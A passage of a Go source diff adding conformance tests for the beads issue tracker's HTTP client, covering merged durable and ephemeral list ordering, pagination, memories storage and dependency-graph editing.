2, + IssueType: issueType, Labels: []string{scope}, Ephemeral: true, + } + if !at.IsZero() { + issue.CreatedAt = at + issue.UpdatedAt = at + } + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed wisp %s: %v", id, err) + } +} + +// TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope is +// RunReaderListIncludeEphemeralMergesThePlanesIntoOneOrder with the id scope +// swapped for a label one, which is the swap this whole file exists to make: +// the contract case scopes itself with IDFilter and listIssues publishes no id +// parameter (E-ListRequest.IDFilter), so the case is parked next door and its +// behavior is pinned here instead. +// +// WHAT IT IS ABOUT is not admission but ORDER. That the flag admits wisps at +// all is already covered by RunReaderListDefaultExclusionsAndTheirOverrides, +// which reads its answer as a set — so a body that appended one plane after the +// other passes it. Here the planes ALTERNATE second by second, so a +// concatenation is a different SEQUENCE, a Limit landing inside the +// interleaving keeps a different SET, and the keyset walk resumes from +// positions on both sides of the merge. +// +// OVER THIS WIRE the merge is the SERVER's — one query family, merge-sorted +// before the trim — and what this leg adds is that the client's own pager walks +// the merged order without re-segmenting it: the page it accumulates crosses +// the plane boundary, and the position it carries forward names no plane. +// +// THE WISP ROWS KEEP THEIR IDENTITY, asserted separately from the order, +// because a merged page that came back with every row looking durable would +// satisfy every id comparison here. `ephemeral` is the member that says which +// plane a row came from, and it has to survive the JSON round trip. +func TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("eph") + + firstSecond := time.Now().UTC().Truncate(time.Second).Add(-3 * time.Hour) + seeds := []struct { + tag string + ephemeral bool + }{ + {"i1", false}, {"w1", true}, {"i2", false}, + {"w2", true}, {"i3", false}, {"w3", true}, + } + var merged, durableOnly []string + wisps := map[string]bool{} + for i, seed := range seeds { + id := listID("eph", seed.tag) + at := firstSecond.Add(time.Duration(i) * time.Second) + if seed.ephemeral { + seedListWisp(t, ctx, c, id, scope, at, types.TypeTask) + wisps[id] = true + } else { + seedListIssue(t, ctx, c, id, scope, at, 2) + durableOnly = append(durableOnly, id) + } + merged = append(merged, id) + } + // The wire's order is (created_at DESC, id ASC), so both expectations run + // youngest first — the reverse of the seeding order. + slices.Reverse(merged) + slices.Reverse(durableOnly) + + scoped := issueops.ListRequest{Labels: []string{scope}, SortBy: "created", Limit: ptrTo(0)} + durable, err := reader.List(ctx, scoped) + if err != nil { + t.Fatalf("List over the scope without the flag: %v", err) + } + if got := pageIDs(durable); !slices.Equal(got, durableOnly) { + t.Fatalf("List without IncludeEphemeral = %v, want the durable rows %v", got, durableOnly) + } + + admitted := scoped + admitted.IncludeEphemeral = true + all, err := reader.List(ctx, admitted) + if err != nil { + t.Fatalf("List --include-ephemeral: %v", err) + } + if got := pageIDs(all); !slices.Equal(got, merged) { + t.Fatalf("List --include-ephemeral = %v, want the two planes merged into one order %v", got, merged) + } + + // The identity half. A row's plane is a fact about the row, and the merged + // page is the one place a client can lose it. + for _, item := range all.Items { + if item == nil || item.Issue == nil { + t.Fatalf("List --include-ephemeral returned a nil row") + } + if got, want := item.Issue.Ephemeral, wisps[item.ID]; got != want { + t.Errorf("%s came back with ephemeral = %v, want %v: the merged page lost which plane the row is on", + item.ID, got, want) + } + } + + // Every bound from inside the first plane's run to past the end. The + // interesting ones are the cuts that land between a wisp and the durable row + // next to it, which is where a page built one plane at a time keeps the + // wrong row. + for limit := 1; limit <= len(merged)+1; limit++ { + bounded := admitted + bounded.Limit = ptrTo(limit) + page, err := reader.List(ctx, bounded) + if err != nil { + t.Errorf("List --include-ephemeral --limit %d: %v", limit, err) + continue + } + want := merged[:min(limit, len(merged))] + if got := pageIDs(page); !slices.Equal(got, want) { + t.Errorf("List --include-ephemeral --limit %d = %v, want %v", limit, got, want) + } + if wantMore := limit < len(merged); page.HasMore != wantMore { + t.Errorf("List --include-ephemeral --limit %d reported HasMore = %v, want %v", limit, page.HasMore, wantMore) + } + } + + // The keyset walk across the merge. The position is a created-order pair and + // neither half of it names a plane, so a walk that resumes correctly on one + // plane and skips the other is the failure this looks for. + const pageSize = 2 + var walked []string + seen := map[string]bool{} + var afterCreatedAt *time.Time + afterID := "" + for page := 0; page <= len(merged); page++ { + req := admitted + req.Limit = ptrTo(pageSize) + req.AfterCreatedAt = afterCreatedAt + req.AfterID = afterID + got, err := reader.List(ctx, req) + if err != nil { + t.Fatalf("List --include-ephemeral page %d: %v", page, err) + } + if len(got.Items) == 0 { + break + } + if len(got.Items) > pageSize { + t.Fatalf("List --include-ephemeral page %d answered %d rows over a Limit of %d", + page, len(got.Items), pageSize) + } + for _, item := range got.Items { + if seen[item.ID] { + t.Fatalf("List --include-ephemeral page %d repeated %s: a position that crossed the plane "+ + "boundary re-delivered a row it had already handed out", page, item.ID) + } + seen[item.ID] = true + walked = append(walked, item.ID) + } + last := got.Items[len(got.Items)-1] + at := last.CreatedAt.UTC() + afterCreatedAt = &at + afterID = last.ID + } + if !slices.Equal(walked, merged) { + t.Errorf("the keyset walk over the merged planes delivered %v, want the one-shot sequence %v "+ + "with nothing dropped and nothing repeated", walked, merged) + } +} + +// TestServedReaderListMessageWispsNeedTheInfraIntentAndNotJustThePlane drives +// the program-founding fact of the external-API store end to end, and it +// SHARPENS it: the four quadrants were measured here rather than assumed, and +// what came back is not quite what the bead that ordered this wave predicted. +// +// MAIL IS A WISP OF AN INFRA TYPE. A message bead is `type: message`, and +// message is one of the three DEFAULT INFRA TYPES (domain/infra_types.go), so a +// default listing hides it twice over: the wisp plane is skipped, and the infra +// types are excluded from the durable leg. +// +// WHAT THE FOUR ARMS MEASURE (workapi.BuildListFilter's plane branch is the +// reason, and it is one branch): +// +// neither the durable task alone +// include_ephemeral admits the PLANE and drops no type exclusion, so a task +// wisp appears and a MESSAGE wisp does not +// include_infra drops the type exclusions AND admits the plane, because +// it is one of the three conditions on that same branch — +// so it answers with everything +// both identical to include_infra alone +// +// SO THE LOAD-BEARING MEMBER FOR MAIL IS `include_infra`, not the plane bit: a +// TierBoth read that sent `include_ephemeral` alone reads an EMPTY MAILBOX and +// believes it, and one that sent `include_infra` alone is already correct. +// Sending both is still the honest spelling — it says the plane and the +// vocabulary out loud, and it does not depend on infra's plane admission +// staying a side effect of one branch — but the two are the same ANSWER today, +// and a client that dropped the plane bit would not fail on this fixture. The +// arm that fails on a dropped `include_infra` is the third and fourth, and the +// arm that fails on a dropped `include_ephemeral` is the second. +func TestServedReaderListMessageWispsNeedTheInfraIntentAndNotJustThePlane(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("mail") + + task := listID("mail", "task") + durableMessage := listID("mail", "durable-msg") + taskWisp := listID("mail", "wisp-task") + mail := listID("mail", "wisp-msg") + + at := time.Now().UTC().Truncate(time.Second).Add(-90 * time.Minute) + seedListIssue(t, ctx, c, task, scope, at, 2) + // The durable message row is what separates the TYPE exclusion from the + // plane one; the task wisp is what separates the plane admission from the + // type one. Without both, two of the four arms would answer the same set + // and the quadrant would not be a quadrant. + durable := &types.Issue{ + ID: durableMessage, Title: durableMessage, Status: types.StatusOpen, Priority: 2, + IssueType: types.IssueType("message"), Labels: []string{scope}, + CreatedAt: at.Add(time.Second), UpdatedAt: at.Add(time.Second), + } + if err := c.seedIssue(ctx, durable, "seed"); err != nil { + t.Fatalf("seed %s: %v", durableMessage, err) + } + seedListWisp(t, ctx, c, taskWisp, scope, at.Add(2*time.Second), types.TypeTask) + seedListWisp(t, ctx, c, mail, scope, at.Add(3*time.Second), types.IssueType("message")) + + everything := []string{mail, taskWisp, durableMessage, task} + for _, test := range []struct { + name string + req issueops.ListRequest + want []string + about string + }{ + { + name: "neither intent", + req: issueops.ListRequest{}, + want: []string{task}, + about: "a default listing hides the message rows on both legs at once, and the wisp " + + "plane with them", + }, + { + name: "the plane intent alone", + req: issueops.ListRequest{IncludeEphemeral: true}, + want: []string{taskWisp, task}, + about: "include_ephemeral admits the PLANE and drops no type exclusion, so the task wisp crosses and the message wisp does not — this is the empty mailbox a TierBoth read gets for sending only this", + }, + { + name: "the infra intent alone", + req: issueops.ListRequest{IncludeInfra: true}, + want: everything, + about: "include_infra drops the type exclusions AND admits the plane, both from the same branch, so it already answers with the mail", + }, + { + name: "both intents", + req: issueops.ListRequest{IncludeEphemeral: true, IncludeInfra: true}, + want: everything, + about: "the pairing a TierBoth read sends, and the same answer as the infra intent alone at this tip", + }, + } { + t.Run(test.name, func(t *testing.T) { + req := test.req + req.Labels = []string{scope} + req.SortBy = "created" + req.Limit = ptrTo(0) + page, err := reader.List(ctx, req) + if err != nil { + t.Fatalf("List: %v", err) + } + if got := pageIDs(page); !slices.Equal(got, test.want) { + t.Errorf("List = %v, want %v (%s)", got, test.want, test.about) + } + }) + } +} diff --git a/internal/httpclient/served_memories_deps_test.go b/internal/httpclient/served_memories_deps_test.go new file mode 100644 index 000000000..6d97f1d8b --- /dev/null +++ b/internal/httpclient/served_memories_deps_test.go @@ -0,0 +1,431 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_memories_deps_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Memories and DependencyEditor contracts against the served surface. +// +// Both roles map onto the wire whole, so almost every case runs for real; the +// handful that do not are named individually with the member the wire does not +// publish. The dependency block is the largest contract in the suite and most +// of it is about SERVER-side graph semantics — plane routing, the cycle gates, +// history entries — which is exactly what running it through the client proves +// is not disturbed by the crossing. + +func newServedMemoriesFixture(t *testing.T, prefix string) conformance.MemoriesFixture { + t.Helper() + env := newServedEnv(t, prefix) + memories, err := env.subject.Memories() + if err != nil { + t.Fatalf("Memories(): %v", err) + } + return conformance.MemoriesFixture{ + IssuePrefix: env.prefix, + Memories: memories, + SetConfig: env.setConfig, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + } +} + +func TestServedMemoriesListOfAnEmptyPlaneAnswersAnEmptyMap(t *testing.T) { + conformance.RunMemoriesListOfAnEmptyPlaneAnswersAnEmptyMap(t, t.Context(), newServedMemoriesFixture(t, "hm00")) +} + +func TestServedMemoriesRememberStoresContentVerbatim(t *testing.T) { + conformance.RunMemoriesRememberStoresContentVerbatim(t, t.Context(), newServedMemoriesFixture(t, "hm01")) +} + +func TestServedMemoriesRememberDerivesTheKeyWhenAbsent(t *testing.T) { + conformance.RunMemoriesRememberDerivesTheKeyWhenAbsent(t, t.Context(), newServedMemoriesFixture(t, "hm02")) +} + +func TestServedMemoriesRememberWithExplicitKeyStoresVerbatim(t *testing.T) { + conformance.RunMemoriesRememberWithExplicitKeyStoresVerbatim(t, t.Context(), newServedMemoriesFixture(t, "hm03")) +} + +func TestServedMemoriesRememberReplacesAndReportsIt(t *testing.T) { + conformance.RunMemoriesRememberReplacesAndReportsIt(t, t.Context(), newServedMemoriesFixture(t, "hm04")) +} + +func TestServedMemoriesRememberRefusesEmptyContent(t *testing.T) { + conformance.RunMemoriesRememberRefusesEmptyContent(t, t.Context(), newServedMemoriesFixture(t, "hm05")) +} + +func TestServedMemoriesRememberRefusesAWhitespaceOnlyKey(t *testing.T) { + conformance.RunMemoriesRememberRefusesAWhitespaceOnlyKey(t, t.Context(), newServedMemoriesFixture(t, "hm06")) +} + +func TestServedMemoriesRememberRefusesAnUnderivableKey(t *testing.T) { + conformance.RunMemoriesRememberRefusesAnUnderivableKey(t, t.Context(), newServedMemoriesFixture(t, "hm07")) +} + +func TestServedMemoriesRecallAnswersTheStoredValue(t *testing.T) { + conformance.RunMemoriesRecallAnswersTheStoredValue(t, t.Context(), newServedMemoriesFixture(t, "hm08")) +} + +func TestServedMemoriesRecallReportsAMissAsNotFoundNotAnError(t *testing.T) { + conformance.RunMemoriesRecallReportsAMissAsNotFoundNotAnError(t, t.Context(), newServedMemoriesFixture(t, "hm09")) +} + +func TestServedMemoriesRecallConflatesStoredEmptyWithAbsent(t *testing.T) { + conformance.RunMemoriesRecallConflatesStoredEmptyWithAbsent(t, t.Context(), newServedMemoriesFixture(t, "hm10")) +} + +func TestServedMemoriesForgetRemovesExactlyTheNamedRow(t *testing.T) { + conformance.RunMemoriesForgetRemovesExactlyTheNamedRow(t, t.Context(), newServedMemoriesFixture(t, "hm11")) +} + +func TestServedMemoriesForgetNeverTouchesTheSettingsPlane(t *testing.T) { + conformance.RunMemoriesForgetNeverTouchesTheSettingsPlane(t, t.Context(), newServedMemoriesFixture(t, "hm12")) +} + +func TestServedMemoriesForgetReportsTheForgottenValue(t *testing.T) { + conformance.RunMemoriesForgetReportsTheForgottenValue(t, t.Context(), newServedMemoriesFixture(t, "hm13")) +} + +func TestServedMemoriesForgetOfAnAbsentKeyIsNotFoundAndDeletesNothing(t *testing.T) { + conformance.RunMemoriesForgetOfAnAbsentKeyIsNotFoundAndDeletesNothing(t, t.Context(), newServedMemoriesFixture(t, "hm14")) +} + +func TestServedMemoriesListReturnsOnlyTheMemoryPlane(t *testing.T) { + conformance.RunMemoriesListReturnsOnlyTheMemoryPlane(t, t.Context(), newServedMemoriesFixture(t, "hm15")) +} + +func TestServedMemoriesListSearchMatchesTheUserKeyNotTheStorageKey(t *testing.T) { + conformance.RunMemoriesListSearchMatchesTheUserKeyNotTheStorageKey(t, t.Context(), newServedMemoriesFixture(t, "hm16")) +} + +func TestServedMemoriesListSearchMatchesKeyOrValueCaseInsensitively(t *testing.T) { + conformance.RunMemoriesListSearchMatchesKeyOrValueCaseInsensitively(t, t.Context(), newServedMemoriesFixture(t, "hm17")) +} + +func TestServedMemoriesARefusedWriteRecordsNoHistory(t *testing.T) { + conformance.RunMemoriesARefusedWriteRecordsNoHistory(t, t.Context(), newServedMemoriesFixture(t, "hm18")) +} + +func newServedDependencyEditorFixture(t *testing.T, prefix string) conformance.DependencyEditorFixture { + t.Helper() + env := newServedEnv(t, prefix) + editor, err := env.subject.DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + return conformance.DependencyEditorFixture{ + IssuePrefix: env.prefix, + Editor: editor, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + // The one precondition the ROLE's own request type cannot express: a + // DependencyEdge carries no metadata, so a waits-for edge with an + // any-children gate on it can only be seeded out of band. The verb under + // test in the case that needs it is still AddDependencies. + AddDependency: env.addDependency, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + // The idempotency cases turn journaling on to prove a no-op journals + // nothing. Journaling is the SERVER's (the reference store's) switch; + // the harness serves the journal-enabled flag already. + SetJournalEnabled: func(enabled bool) { env.reference.SetEventsJournalEnabled(enabled) }, + // The same-type re-add cases (ChangedMetadataMintsOneVersion, + // IdenticalMetadataIsANoOp) drive their re-add through + // fixture.AddDependency — the reference store's own raw path, same as + // AddDependency above — rather than through the role, because + // publicops.DependencyEdge carries no metadata field. That means dual-write + // version history is the reference store's own switch, same as journaling, + // so it wires the same way. + SetVersionedHistoryEnabled: env.reference.SetVersionedHistoryEnabled, + } +} + +func TestServedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane(t *testing.T) { + conformance.RunDependencyEditorRoutesWispSourcedEdgeToTheWispPlane(t, t.Context(), newServedDependencyEditorFixture(t, "hd00")) +} + +func TestServedDependencyEditorMixedBatchWritesBothPlanes(t *testing.T) { + conformance.RunDependencyEditorMixedBatchWritesBothPlanes(t, t.Context(), newServedDependencyEditorFixture(t, "hd01")) +} + +func TestServedDependencyEditorMixedBatchRefusalRollsBackBothPlanes(t *testing.T) { + conformance.RunDependencyEditorMixedBatchRefusalRollsBackBothPlanes(t, t.Context(), newServedDependencyEditorFixture(t, "hd02")) +} + +func TestServedDependencyEditorRefusesCrossPlaneCycle(t *testing.T) { + skipKnownDivergence(t, "W-AddDependenciesRequest.SkipPerEdgeCycleCheck", parkBead, + parkSkipPerEdgeProbe) + conformance.RunDependencyEditorRefusesCrossPlaneCycle(t, t.Context(), newServedDependencyEditorFixture(t, "hd03")) +} + +func TestServedDependencyEditorAddedEchoesTheRequestOrder(t *testing.T) { + conformance.RunDependencyEditorAddedEchoesTheRequestOrder(t, t.Context(), newServedDependencyEditorFixture(t, "hd04")) +} + +func TestServedDependencyEditorSameTypeReAddIsIdempotent(t *testing.T) { + conformance.RunDependencyEditorSameTypeReAddIsIdempotent(t, t.Context(), newServedDependencyEditorFixture(t, "hd05")) +} + +func TestServedDependencyEditorRepeatsWithinOneRequestCollapse(t *testing.T) { + conformance.RunDependencyEditorRepeatsWithinOneRequestCollapse(t, t.Context(), newServedDependencyEditorFixture(t, "hd06")) +} + +func TestServedDependencyEditorAttributesItsEventsToTheActor(t *testing.T) { + conformance.RunDependencyEditorAttributesItsEventsToTheActor(t, t.Context(), newServedDependencyEditorFixture(t, "hd07")) +} + +func TestServedDependencyEditorRetypeRefusalLeavesTheOriginalEdge(t *testing.T) { + conformance.RunDependencyEditorRetypeRefusalLeavesTheOriginalEdge(t, t.Context(), newServedDependencyEditorFixture(t, "hd08")) +} + +func TestServedDependencyEditorRefusalWritesNothing(t *testing.T) { + skipKnownDivergence(t, "W-AddDependenciesRequest.SkipPerEdgeCycleCheck", parkBead, + parkSkipPerEdgeProbe) + conformance.RunDependencyEditorRefusalWritesNothing(t, t.Context(), newServedDependencyEditorFixture(t, "hd09")) +} + +func TestServedDependencyEditorRemoveIsIdempotent(t *testing.T) { + conformance.RunDependencyEditorRemoveIsIdempotent(t, t.Context(), newServedDependencyEditorFixture(t, "hd10")) +} + +func TestServedDependencyEditorAppliesParentChildBeforeBlockingEdges(t *testing.T) { + conformance.RunDependencyEditorAppliesParentChildBeforeBlockingEdges(t, t.Context(), newServedDependencyEditorFixture(t, "hd11")) +} + +func TestServedDependencyEditorAcceptsAnExternalTarget(t *testing.T) { + conformance.RunDependencyEditorAcceptsAnExternalTarget(t, t.Context(), newServedDependencyEditorFixture(t, "hd12")) +} + +func TestServedDependencyEditorAcceptsAForeignRepoTarget(t *testing.T) { + conformance.RunDependencyEditorAcceptsAForeignRepoTarget(t, t.Context(), newServedDependencyEditorFixture(t, "hd13")) +} + +func TestServedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy(t *testing.T) { + conformance.RunDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy(t, t.Context(), newServedDependencyEditorFixture(t, "hd14")) +} + +func TestServedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped(t *testing.T) { + skipKnownDivergence(t, "W-AddDependenciesRequest.SkipPerEdgeCycleCheck", parkBead, + parkSkipPerEdgeProbe) + conformance.RunDependencyEditorRefusesSelfDependencyWithTheProbeSkipped(t, t.Context(), newServedDependencyEditorFixture(t, "hd15")) +} + +func TestServedDependencyEditorRecordsOneHistoryEntryPerLandedRequest(t *testing.T) { + conformance.RunDependencyEditorRecordsOneHistoryEntryPerLandedRequest(t, t.Context(), newServedDependencyEditorFixture(t, "hd16")) +} + +func TestServedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest(t *testing.T) { + conformance.RunDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest(t, t.Context(), newServedDependencyEditorFixture(t, "hd17")) +} + +func TestServedDependencyEditorSnapshotsTheRequest(t *testing.T) { + conformance.RunDependencyEditorSnapshotsTheRequest(t, t.Context(), newServedDependencyEditorFixture(t, "hd18")) +} + +func TestServedDependencyEditorValidationRefusalsWriteNothing(t *testing.T) { + conformance.RunDependencyEditorValidationRefusalsWriteNothing(t, t.Context(), newServedDependencyEditorFixture(t, "hd19")) +} + +func TestServedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane(t *testing.T) { + conformance.RunDependencyEditorRoutesWispSourcedRemovalToTheWispPlane(t, t.Context(), newServedDependencyEditorFixture(t, "hd20")) +} + +// The two endpoint-not-found cases park on their SENTINEL only. The behavior +// they are really about — the request fails and writes nothing — is asserted +// for real by TestServedDependencyEndpointNotFoundRefusesAsValidation below, so +// ledger row L-dep-endpoint retires loudly rather than sitting behind a skip. + +func TestServedDependencyEditorRefusesAGhostSource(t *testing.T) { + skipKnownDivergence(t, "L-dep-endpoint", parkBead, parkEndpointSentinel) + conformance.RunDependencyEditorRefusesAGhostSource(t, t.Context(), newServedDependencyEditorFixture(t, "hd21")) +} + +func TestServedDependencyEditorRefusesAMissingLocalTarget(t *testing.T) { + skipKnownDivergence(t, "L-dep-endpoint", parkBead, parkEndpointSentinel) + conformance.RunDependencyEditorRefusesAMissingLocalTarget(t, t.Context(), newServedDependencyEditorFixture(t, "hd22")) +} + +// parkSkipPerEdgeProbe is the one reason FOUR cases here share, written once +// because it is one decision: the wire leaves SkipPerEdgeCycleCheck unpublished +// on purpose — an unauthenticated surface is where a default has to be the +// guarded one — so the client refuses the member rather than dropping it, and +// every case that binds the flag is unreachable whole. +const parkSkipPerEdgeProbe = "the case binds AddDependenciesRequest.SkipPerEdgeCycleCheck, which the wire leaves UNPUBLISHED by design — an unauthenticated surface is where a default must be the guarded one — so the client refuses the member rather than dropping it and the whole case is unreachable" + +const parkEndpointSentinel = "the wire flattens the endpoint-not-found refusal into a 400 invalid_argument with reason invalid_value, so ErrDependencySourceNotFound and ErrDependencyTargetNotFound cannot be reconstructed without parsing detail prose (asserted by TestServedDependencyEndpointNotFoundRefusesAsValidation)" + +// TestServedDependencyEndpointNotFoundRefusesAsValidation is L-dep-endpoint's +// pin, and it RUNS. +// +// The row is a divergence in CLASSIFICATION, not in outcome, and both parts need +// saying. The part that still holds is the part that matters most: an edge whose +// source or target names nothing fails, and the graph is untouched — a client +// that quietly wrote a half-graph would be a far worse divergence than a coarse +// sentinel. The part that diverges is the sentinel itself, and asserting the +// absence is what makes the row retire the day the wire grows a distinguishing +// code or reason. +func TestServedDependencyEndpointNotFoundRefusesAsValidation(t *testing.T) { + env := newServedEnv(t, "hdep") + ctx := t.Context() + editor, err := env.subject.DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + + const real = "hdep-real" + seedServedIssue(t, ctx, env, real, types.StatusOpen) + + cases := map[string]struct { + edge issueops.DependencyEdge + sentinel error + }{ + "ghost source": { + edge: issueops.DependencyEdge{IssueID: "hdep-ghost", DependsOnID: real, Type: issueops.DepBlocks}, + sentinel: issueops.ErrDependencySourceNotFound, + }, + "missing local target": { + edge: issueops.DependencyEdge{IssueID: real, DependsOnID: "hdep-absent", Type: issueops.DepBlocks}, + sentinel: issueops.ErrDependencyTargetNotFound, + }, + } + + for name, tc := range cases { + t.Run(name, func(t *testing.T) { + _, err := editor.AddDependencies(ctx, issueops.AddDependenciesRequest{ + Actor: "writer", Edges: []issueops.DependencyEdge{tc.edge}, + }) + if err == nil { + t.Fatal("the add succeeded; an endpoint that names nothing must refuse") + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("refusal = %v, want ErrValidation — the wire spells this as a 400 invalid_argument", err) + } + if errors.Is(err, tc.sentinel) { + t.Errorf("refusal carries %v; L-dep-endpoint says the wire cannot express it — retire the row rather than the assertion", tc.sentinel) + } + + // Both endpoints, because either half of a refused edge landing is + // the same bug. The target column is the DURABLE one: the wisp + // plane has its own (depends_on_wisp_id) and neither id here names + // a wisp. + var edges int + if err := env.queryScalar(ctx, + "SELECT COUNT(*) FROM dependencies WHERE issue_id = ? OR depends_on_issue_id = ?", + []any{tc.edge.IssueID, tc.edge.DependsOnID}, &edges); err != nil { + t.Fatalf("count the edges the refusal may have written: %v", err) + } + if edges != 0 { + t.Errorf("the refused add left %d edge(s) behind; the refusal is coarse, not partial", edges) + } + }) + } +} + +func TestServedDependencyEditorAcceptsATypeOutsideTheConstants(t *testing.T) { + conformance.RunDependencyEditorAcceptsATypeOutsideTheConstants(t, t.Context(), newServedDependencyEditorFixture(t, "hd23")) +} + +func TestServedDependencyEditorRemovesOnlyTheNamedEdge(t *testing.T) { + conformance.RunDependencyEditorRemovesOnlyTheNamedEdge(t, t.Context(), newServedDependencyEditorFixture(t, "hd24")) +} + +func TestServedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe(t *testing.T) { + skipKnownDivergence(t, "W-AddDependenciesRequest.SkipPerEdgeCycleCheck", parkBead, + parkSkipPerEdgeProbe) + conformance.RunDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe(t, t.Context(), newServedDependencyEditorFixture(t, "hd25")) +} + +func TestServedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest(t *testing.T) { + conformance.RunDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest(t, t.Context(), newServedDependencyEditorFixture(t, "hd26")) +} + +func TestServedDependencyEditorWritesTheTargetIntoItsTypedColumn(t *testing.T) { + conformance.RunDependencyEditorWritesTheTargetIntoItsTypedColumn(t, t.Context(), newServedDependencyEditorFixture(t, "hd27")) +} + +func TestServedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy(t *testing.T) { + conformance.RunDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy(t, t.Context(), newServedDependencyEditorFixture(t, "hd28")) +} + +func TestServedDependencyEditorRefusesACycleThroughAParentChildHop(t *testing.T) { + conformance.RunDependencyEditorRefusesACycleThroughAParentChildHop(t, t.Context(), newServedDependencyEditorFixture(t, "hd29")) +} + +func TestServedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle(t *testing.T) { + conformance.RunDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle(t, t.Context(), newServedDependencyEditorFixture(t, "hd30")) +} + +// The GRAPH-SHAPE and BLOCKED-STATE halves of this role, which nothing in the +// wiring above reached. +// +// Neither half is about a member: `dependencies:add` and `dependencies:remove` +// map their whole request, so what is left to prove is what the SERVER's +// transaction does with the edges it accepted. The four shape cases pin the +// edges an add must NOT refuse — a diamond is not a cycle, a blocking edge +// between two issue types is legal, and gate scope follows the edge type — and +// the four blocked-state cases pin the `is_blocked` projection the same add and +// remove maintain, read raw because no role hydrates that column. +// +// They are worth running here rather than only on the store legs for a reason +// this leg alone has: the client sends ONE request per case and recomputes +// nothing, so the whole settlement is the server's own closing transaction. A +// port that split a batch, reordered it, or dropped the descendant expansion +// would show up as a stale flag on a row nobody named. + +func TestServedDependencyEditorAcceptsADiamond(t *testing.T) { + conformance.RunDependencyEditorAcceptsADiamond(t, t.Context(), newServedDependencyEditorFixture(t, "hd31")) +} + +func TestServedDependencyEditorAcceptsBlockingAcrossIssueTypes(t *testing.T) { + conformance.RunDependencyEditorAcceptsBlockingAcrossIssueTypes(t, t.Context(), newServedDependencyEditorFixture(t, "hd32")) +} + +func TestServedDependencyEditorGateScopeFollowsTheEdgeType(t *testing.T) { + conformance.RunDependencyEditorGateScopeFollowsTheEdgeType(t, t.Context(), newServedDependencyEditorFixture(t, "hd33")) +} + +func TestServedDependencyEditorAddMarksItsSourceInTheSameVerb(t *testing.T) { + conformance.RunDependencyEditorAddMarksItsSourceInTheSameVerb(t, t.Context(), newServedDependencyEditorFixture(t, "hd34")) +} + +func TestServedDependencyEditorRelatesToAddLeavesItsSourceUnblocked(t *testing.T) { + conformance.RunDependencyEditorRelatesToAddLeavesItsSourceUnblocked(t, t.Context(), newServedDependencyEditorFixture(t, "hd35")) +} + +func TestServedDependencyEditorRemoveUnmarksItsSourceAndDescendants(t *testing.T) { + conformance.RunDependencyEditorRemoveUnmarksItsSourceAndDescendants(t, t.Context(), newServedDependencyEditorFixture(t, "hd36")) +} + +func TestServedDependencyEditorMaintainsBlockedStateAcrossPlanes(t *testing.T) { + conformance.RunDependencyEditorMaintainsBlockedStateAcrossPlanes(t, t.Context(), newServedDependencyEditorFixture(t, "hd37")) +} + +// TestServedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate is the one +// that needs the out-of-band edge seed: the gate it satisfies is metadata on a +// waits-for edge, and the role's own DependencyEdge carries none. +func TestServedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate(t *testing.T) { + conformance.RunDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate(t, t.Context(), newServedDependencyEditorFixture(t, "hd38")) +} + +// The two same-type re-add cases, newly wired: both drive the re-add through +// fixture.AddDependency (the reference store's own raw path, same reason +// ClosedChildAddSatisfiesAnAnyChildrenGate reaches past the role above) and +// need dual-write version history on, which the fixture now wires onto the +// same reference store SetJournalEnabled already uses. + +func TestServedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion(t *testing.T) { + conformance.RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion(t, t.Context(), newServedDependencyEditorFixture(t, "hd39")) +} + +func TestServedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *testing.T) { + conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t, t.Context(), newServedDependencyEditorFixture(t, "hd40")) +} diff --git a/internal/httpclient/served_metadata_cas_test.go b/internal/httpclient/served_metadata_cas_test.go new file mode 100644 index 000000000..9410d87db --- /dev/null +++ b/internal/httpclient/served_metadata_cas_test.go @@ -0,0 +1,153 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_metadata_cas_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The MetadataCAS contracts, run through client → in-process bd serve → +// reference store. +// +// EVERY ONE OF THEM RUNS. That is worth saying out loud on a role wired by a +// client wave, because it is the exception here rather than the rule: the +// create, delete and batch-create families each park cases on a refusal +// vocabulary the wire flattens or on a member its body has no place for, and +// this one parks nothing. The request maps whole — actor, the id in the path, +// the key, and the two sides of the transition — and both members of the result +// are published, so there is no shape for a divergence to live in. +// +// WHAT THE COMPOSITION BUYS HERE that the three in-tree legs cannot. 